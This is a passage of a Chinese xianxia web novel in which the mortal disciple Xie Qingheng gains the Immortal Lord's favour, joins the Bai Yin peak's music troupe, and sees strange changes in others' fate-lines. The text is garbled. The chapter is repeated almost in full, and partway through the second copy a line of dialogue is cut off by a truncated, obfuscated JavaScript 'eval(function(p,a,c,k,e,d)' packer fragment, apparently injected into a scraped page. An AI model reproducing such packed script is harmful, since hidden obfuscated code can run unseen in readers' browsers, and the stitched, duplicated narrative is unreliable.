南溟说道:“既是仙尊垂怜,也算那弟子有些福分。” 临渡峰本来就是众矢之的,南溟对周侧避而不见,让自己的弟弟去消解周侧的情谊,一是为着昔日情分,二是不想引火烧身,所以才将决策抛给了宗主。 临渡峰的败落是显而易见的事实,隔岸观火的峰主们自然不会向他们压下筹码。 南溟算了算临渡峰的弟子道:“还算有些天分,但可惜了,就算再等五年,也难出一个能上台的第二境修士。” “南华,你对那弟子怎么看?” “观之若月华洗练之明珠,”南华道,“于箜篌一道造诣颇高。” 南溟道:“即使如此,给他递份帖子吧,将仙尊垂怜拿去换临渡峰一线生机,也是有情有义,来我百音峰也算是成全他的忠义,左右不过是个凡民罢了。” 南华点头,殿内烛火照得他忽明忽暗,使那张儒雅的脸庞莫名有些吊诡。 “不过南华,你这些日子怎么回事,”南溟有些头疼道,“翰飞的书信都寄到我桌前了。” 南华曾有过一任妻子,在他踏入第二境登仙台不久,妻子意外而死,留下一个叫南翰飞的儿子,因为亲近水法,被送去了御水峰。 南华漠然道:“他这么大了,该自己解决问题。” “这不像你啊,”南溟狐疑道,南华宝贝那个儿子宝贝到满世界寻觅天材地宝,要为儿子奠定最好的根基,“翰飞惹你生气了?” 南华嘴角平直,语调没有半分起伏:“孩子大了总要独立。” 在南溟再次追问前,南华先一步说道:“兄长,时候不早了,我还要去盯着他们排演。” 南溟迟疑,神思恍惚一瞬,很快恢复:“去吧,别出岔子。” 南华近来变了很多,他不再弹奏古琴,总是沉默地盯着一处地方,打眼看去,还以为是什么石雕泥塑。 可是神魂不会骗人,这确实是他的弟弟。 南溟忽略心中的异样,他挥袖再度打坐,烛火映照在他身上,仿佛将他全部点燃似的。 很快,错觉化作了现实,赤红的火焰鬼魅般缠上了他的身躯,他的皮肤逐渐发出焦灼的气味,然后硬化脱落。 南溟神色没有丝毫改变,可精悍的躯体上不断蔓延出诡异的痕迹,赤红灼烧着他,似要将他化为一滩灰烬。 琴音自此时响起,南溟睁开眼,抖落一地的黑紫,被火焰烧去的地方很快重新填满血肉。 南溟幽幽道:“业火呵,业火……” 谢青珩踏入百音峰瞬间,无数弟子的目光都对准了他。 “这就是仙尊垂怜的人?” “凡民,凡民也能得到仙尊垂怜吗?” “除了长得好点,根本没有任何特点啊。” 有些大胆的,不顾叶言旭的刀子般的眼神,直接上前问道:“敢问道友是如何成功的?” 还有些摸了下谢青珩袖子道:“沾沾福气,保佑我下次也能得仙尊垂怜。” 叶言旭忍无可忍,何归去应声出鞘,将两人环绕起来,逼退如潮水般涌来的人群。 可这些不仅没有浇灭他们的热情,还让他们更加兴奋。 仙尊垂怜这种幻想般的故事居然真的出现在了现实,让他们心中也蹦出些许一飞冲天的念想。 平天台上,离仙尊最近的地方。 不少人已然下定决心,下次宗门大典,就是挤破头也要挤进去。 南华来的时候刚好看到这一幕。 玉兰花般的青年被少年护在身后,那双琉璃般剔透的眼神无意掠过,似蜻蜓点水,于他心上留下无边念想。 果然,这幅样子要比诚惶诚恐时好看多了。 南华还没有分辨出心底的感受,即使过了多日,孱弱的身躯依旧让他感到不适。 但这副身躯却恰好呈放他的情绪。 南华望着阳光下的青年,嘴角悄然勾起,只是再看到拽着青年的那只手后,眼底陡然冷了下来。 区区第一境伏流的修士。 仙尊垂怜之事泛起的涟漪远超谢青珩想象,他在外二十多年,尚不清楚玄天宗的风气,其实也难以理解仙尊的境界。 就像是攀登一座千仞高峰,所能看到的景象已经够多,但仍然难以想象最顶峰的绝景。 谢青珩不卑不亢地拒绝旁人的试探,绝口不提仙尊到底何时垂怜于他,轻描淡写地平复了风波。 其实最主要的还是谢青珩自己也不知道具体是由。 叶言旭挡住许多伸过来的手,却不能挡住修为更高的人。 最终还是南华开口叫停了这场闹剧。 “仙尊垂怜,峰主亲笔圈了他的名字,从此,谢青珩就算正式加入了礼乐部,宗门大典上也会跟你们一起去平天台。” 这句话在人群里传播开来,却没有引发多少涟漪。 谢青珩色艺双绝,这些天来也跟着他们一起刻苦练习,这些他们都看在眼里,自然没有多少不忿。 桑游朝谢青珩挑眉,但他那副魁梧样子做出来的表情反而让人忍俊不禁。 桑游平复心中激荡的涟漪,眼前美色不再是随手可取的路边花,在仙尊垂怜后,无论发生什么,玄天宗也不会让这个凡民沦落风尘。 真是可惜了。 谢青珩位置没变,弹奏起箜篌时仍空灵悠长,叫人反复回味。 宗门大典是玄天宗最重要的事,所有细节都要经过反复打磨,直到没有一丝崎岖。 南华严苛的手段在宗门大典的威慑下显得如此正常,甚至都不能让被训的人生出怨念。 谢青珩忽略掉包裹在他身上的灵气,南华的眼神似寒潭般深不见底,只有打磨作品的决心。 结束后,南华单独让谢青珩留了下来,道:“你技艺很好,但音乐不能光看技艺,更要用心,你的心乱了,音色也跟着有了变化。” “是什么让你的心乱了?”南华笑着看向凉亭中的叶言旭,“是他吗?同门小师弟就这么特殊?” 谢青珩应下了错误,神情在看到南华头顶的命运线时错落一瞬,很快就恢复正常。 但南华依旧察觉到了这点变化:“你看到了什么?” 谢青珩道:“弟子看错了 ,以为鹤王来了。” “是么。” 谢青珩连忙称是,可嗓音中还是有不易察觉的错愕。 转身时,谢青珩想起方才看到的瞬间,明紫的命运线化为红柱,通天彻地,仿佛要湮灭整座天地,可眨眼之间,又恢复成明紫。 这是从来没有过的事情,谢青珩见过许多人的命运线,从没有人的命运线能做出这样的变化。 认知是顽固的东西,一旦被打破,仿佛从前的所有都蒙上了一层虚幻。 谢青珩习以为常的丝线,此时竟然让他不寒而栗。 “大师兄,”叶言旭很轻易地就看出了谢青珩强撑的外表,担忧道,“发生什么事了吗?” “没事,我只是有些累了。”谢青珩一面说着,一面想怎么告诉师父自己看到的。 但这究竟是他的幻觉还是真的发生变化,谢青珩看着南华头顶的丝线,终究还是下不了决心。 叶言旭倒出随身携带的药瓶,自然而然地将药丸递道谢青珩嘴边。 谢青珩如常地服下丹药。 三道目光同时落下。 “阿兄。” “表弟。” 南华眼神微凝。 谢青珩寻声看去,发现是这些天都不曾见过的谢玉灵和云随雨。 叶言旭扯了下嘴角道:“喏,他们突然就过来了。” 谢玉灵和云随雨身边跟着各自山峰的师弟师妹,见叶言旭不着调,当即出声道:“好没礼貌,临渡峰就是这么教导弟子的?” 叶言旭嘲讽道:“你们师姐和师兄都没开口,轮得到你们这群跟屁虫叫?” 从第一眼看到谢玉灵和云随雨时,叶言旭就不喜欢两人。 谢青珩拉住叶言旭道:“好了。” 叶言旭偃旗息鼓,那些小弟子不愿意了,但谢玉灵和云随雨一个眼神,就叫他们不得不偃旗息鼓。 谢青珩看向两人道:“你们来是有什么事吗?” 谢玉灵先开口道:“阿兄得了仙尊垂怜,是我谢家天大的一桩好事。” 云随雨也道:“姨母盼着表弟好,表弟果然争气。” “此乃师父和百音峰之功,若非师父和南师,青珩万不可得仙尊垂怜。” 谢玉灵状似无意道:“阿兄除了豁免权,还得了什么?” “仙尊伟力通天彻地,想必能有办法引阿兄入仙途,”谢玉灵笑得甜美,眉梢眼角尽是妹妹对兄长的关心,“阿兄可算是苦尽甘来了。” 云随雨感慨道:“姨母若知晓,必定高兴。” 谢青珩道:“仙尊未引我入仙途。” 云随雨眯起眼道:“真的?表弟可曾问过缘由?” 谢青珩说道:“不可说。” 谢玉灵笑着打圆场道:“想必仙尊对阿兄有别的安排。” “仙尊垂怜阿兄,阿父也念着阿兄,”谢玉灵递给谢青珩一枚储物戒,“祖父和阿父特意为阿兄备下的。” 众目睽睽,谢青珩怎能拒收亲人之物? 云随雨也拿出戒指:“这是姨母为表弟做的衣裳,表弟可一定要收下。” 谢青珩手指接触两枚储物戒瞬间,一种难以言喻的恐慌袭来。 谢玉灵和云随雨的命运线紫得亮眼。 18.名传 仙尊垂怜临渡峰之事迅速传遍各大峰,连带着谢青珩的名字也被无数次提起。 其中反应最大的就是百音峰,他们心知谢青珩箜篌弹得好,但也没想到对方弹得这么好。 神出鬼没的百音峰主南溟也特意将谢青珩的名字正式加入了临渡峰。 南溟说道:“既是仙尊垂怜,也算那弟子有些福分。” 临渡峰本来就是众矢之的,南溟对周侧避而不见,让自己的弟弟去消解周侧的情谊,一是为着昔日情分,二是不想引火烧身,所以才将决策抛给了宗主。 临渡峰的败落是显而易见的事实,隔岸观火的峰主们自然不会向他们压下筹码。 南溟算了算临渡峰的弟子道:“还算有些天分,但可惜了,就算再等五年,也难出一个能上台的第二境修士。” “南华,你对那弟子怎么看?” “观之若月华洗练之明珠,”南华道,“于箜篌一道造诣颇高。” 南溟道:“即使如此,给他递份帖子吧,将仙尊垂怜拿去换临渡峰一线生机,也是有情有义,来我百音峰也算是成全他的忠义,左右不过是个凡民罢了。” 南华点头,殿内烛火照得他忽明忽暗,使那张儒雅的脸庞莫名有些吊诡。 “不过南华,你这些日子怎么回事,”南溟有些头疼道,“翰飞的书信都寄到我桌前了。” 南华曾有过一任妻子,在他踏入第二境登仙台不久,妻子意外而死,留下一个叫南翰飞的儿子,因为亲近水法,被送去了御水峰。 南华漠然道:“他这么大了,该自己解决问题。” “这不像你啊,”南溟狐疑道,南华宝贝那个儿子宝贝到满世界寻觅天材地宝,要为儿子奠定最好的根基,“翰飞惹你生气了?” 南华嘴角平直,语调没有半分起伏:“孩子大了总要独立。” 在南溟再次追问前,南华先一步说道:“兄长,时候不早了,我还要去盯着他们排演。” 南溟迟疑,神思恍惚一瞬,很快恢复:“去吧,别出岔子。” 南华近来变了很多,他不再弹奏古琴,总是沉默地盯着一处地方,打眼看去,还以为是什么石雕泥塑。 可是神魂不会骗人,这确实是他的弟弟。 南溟忽略心中的异样,他挥袖再度打坐,烛火映照在他身上,仿佛将他全部点燃似的。 很快,错觉化作了现实,赤红的火焰鬼魅般缠上了他的身躯,他的皮肤逐渐发出焦灼的气味,然后硬化脱落。 南溟神色没有丝毫改变,可精悍的躯体上不断蔓延出诡异的痕迹,赤红灼烧着他,似要将他化为一滩灰烬。 琴音自此时响起,南溟睁开眼,抖落一地的黑紫,被火焰烧去的地方很快重新填满血肉。 南溟幽幽道:“业火呵,业火……” 谢青珩踏入百音峰瞬间,无数弟子的目光都对准了他。 “这就是仙尊垂怜的人?” “凡民,凡民也能得到仙尊垂怜吗?” “除了长得好点,根本没有任何特点啊。” 有些大胆的,不顾叶言旭的刀子般的眼神,直接上前问道:“敢问道友是如何成功的?” 还有些摸了下谢青珩袖子道:“沾沾福气,保佑我下次也能得仙尊垂怜。” 叶言旭忍无可忍,何归去应声出鞘,将两人环绕起来,逼退如潮水般涌来的人群。 可这些不仅没有浇灭他们的热情,还让他们更加兴奋。 仙尊垂怜这种幻想般的故事居然真的出现在了现实,让他们心中也蹦出些许一飞冲天的念想。 平天台上,离仙尊最近的地方。 不少人已然下定决心,下次宗门大典,就是挤破头也要挤进去。 南华来的时候刚好看到这一幕。 玉兰花般的青年被少年护在身后,那双琉璃般剔透的眼神无意掠过,似蜻蜓点水,于他心上留下无边念想。 果然,这幅样子要比诚惶诚恐时好看多了。 南华还没有分辨出心底的感受,即使过了多日,孱弱的身躯依旧让他感到不适。 但这副身躯却恰好呈放他的情绪。 南华望着阳光下的青年,嘴角悄然勾起,只是再看到拽着青年的那只手后,眼底陡然冷了下来。 区区第一境伏流的修士。 仙尊垂怜之事泛起的涟漪远超谢青珩想象,他在外二十多年,尚不清楚玄天宗的风气,其实也难以理解仙尊的境界。 就像是攀登一座千仞高峰,所能看到的景象已经够多,但仍然难以想象最顶峰的绝景。 谢青珩不卑不亢地拒绝旁人的试探,绝口不提仙尊到底何时垂怜于他,轻描淡写地平复了风波。 其实最主要的还是谢青珩自己也不知道具体是由。 叶言旭挡住许多伸过来的手,却不能挡住修为更高的人。 最终还是南华开口叫停了这场闹剧。 “仙尊垂怜,峰主亲笔圈了他的名字,从此,谢青珩就算正式加入了礼乐部,宗门大典上也会跟你们一起去平天台。” 这句话在人群里传播开来,却没有引发多少涟漪。 谢青珩色艺双绝,这些天来也跟着他们一起刻苦练习,这些他们都看在眼里,自然没有多少不忿。 桑游朝谢青珩挑眉,但他那副魁梧样子做出来的表情反而让人忍俊不禁。 桑游平复心中激荡的涟漪,眼前美色不再是随手可取的路边花,在仙尊垂怜后,无论发生什么,玄天宗也不会让这个凡民沦落风尘。 真是可惜了。 谢青珩位置没变,弹奏起箜篌时仍空灵悠长,叫人反复回味。 宗门大典是玄天宗最重要的事,所有细节都要经过反复打磨,直到没有一丝崎岖。 南华严苛的手段在宗门大典的威慑下显得如此正常,甚至都不能让被训的人生出怨念。 谢青珩忽略掉包裹在他身上的灵气,南华的眼神似寒潭般深不见底,只有打磨作品的决心。 结束后,南华单独让谢青珩留了下来,道:“你技艺很好,但音乐不能光看技艺,更要用心,你的心乱了,音色也跟着有了变化。” “是什么让你的心乱了?”南华笑着看向凉亭中的叶言旭,“是他吗?同门小师弟就这么特殊?” 谢青珩应下了错误,神情在看到南华头顶的命运线时错落一瞬,很快就恢复正常。 但南华依旧察觉到了这点变化:“你看到了什么?” 谢青珩道:“弟子看错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶言旭偃旗息鼓,那些小弟子不愿意了,但谢玉灵和云随雨一个眼神,就叫他们不得不偃旗息鼓。 谢青珩看向两人道:“你们来是有什么事吗?” 谢玉灵先开口道:“阿兄得了仙尊垂怜,是我谢家天大的一桩好事。” 云随雨也道:“姨母盼着表弟好,表弟果然争气。” “此乃师父和百音峰之功,若非师父和南师,青珩万不可得仙尊垂怜。” 谢玉灵状似无意道:“阿兄除了豁免权,还得了什么?” “仙尊伟力通天彻地,想必能有办法引阿兄入仙途,”谢玉灵笑得甜美,眉梢眼角尽是妹妹对兄长的关心,“阿兄可算是苦尽甘来了。” 云随雨感慨道:“姨母若知晓,必定高兴。” 谢青珩道:“仙尊未引我入仙途。” 云随雨眯起眼道:“真的?表弟可曾问过缘由?” 谢青珩说道:“不可说。” 谢玉灵笑着打圆场道:“想必仙尊对阿兄有别的安排。” “仙尊垂怜阿兄,阿父也念着阿兄,”谢玉灵递给谢青珩一枚储物戒,“祖父和阿父特意为阿兄备下的。” 众目睽睽,谢青珩怎能拒收亲人之物? 云随雨也拿出戒指:“这是姨母为表弟做的衣裳,表弟可一定要收下。” 谢青珩手指接触两枚储物戒瞬间,一种难以言喻的恐慌袭来。 谢玉灵和云随雨的命运线紫得亮眼。